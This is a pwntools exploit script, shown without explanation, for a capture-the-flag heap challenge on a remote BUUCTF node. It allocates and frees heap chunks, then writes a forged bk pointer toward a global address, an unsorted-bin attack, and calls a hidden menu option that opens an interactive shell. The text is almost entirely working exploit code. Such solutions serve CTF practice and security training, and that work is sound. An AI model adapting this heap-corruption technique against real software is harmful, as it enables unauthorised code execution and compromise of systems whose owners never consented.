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| from pwn import * context.arch='amd64' context.log_level="DEBUG"
p = remote('node3.buuoj.cn',28997)
s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num=4096 :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,'\0')) uu64 = lambda data :u64(data.ljust(8,'\0')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def create(size,content): ru("Your choice :") s(1) ru("Size of Heap : ") s(size) ru("Content of heap:") s(content)
def edit(index,size,content): ru("Your choice :") s(2) ru("Index :") s(index) ru("Size of Heap : ") s(size) ru("Content of heap : ") s(content)
def delete(index): ru("Your choice :") s(3) ru("Index :") s(index)
def l33t(): ru("Your choice :") s(4869) itr()
def dbg(): gdb.attach(p) pause()
create(0x20,'abcd') create(0x80,'abcd') create(0x80,'abcd')
fake_chunk = 0x6020a0 - 0x10 delete(1)
payload = p64(0)*5 + p64(0x91) + p64(0) + p64(fake_chunk) edit(0,len(payload),payload)
create(0x80,"dada")
l33t()
|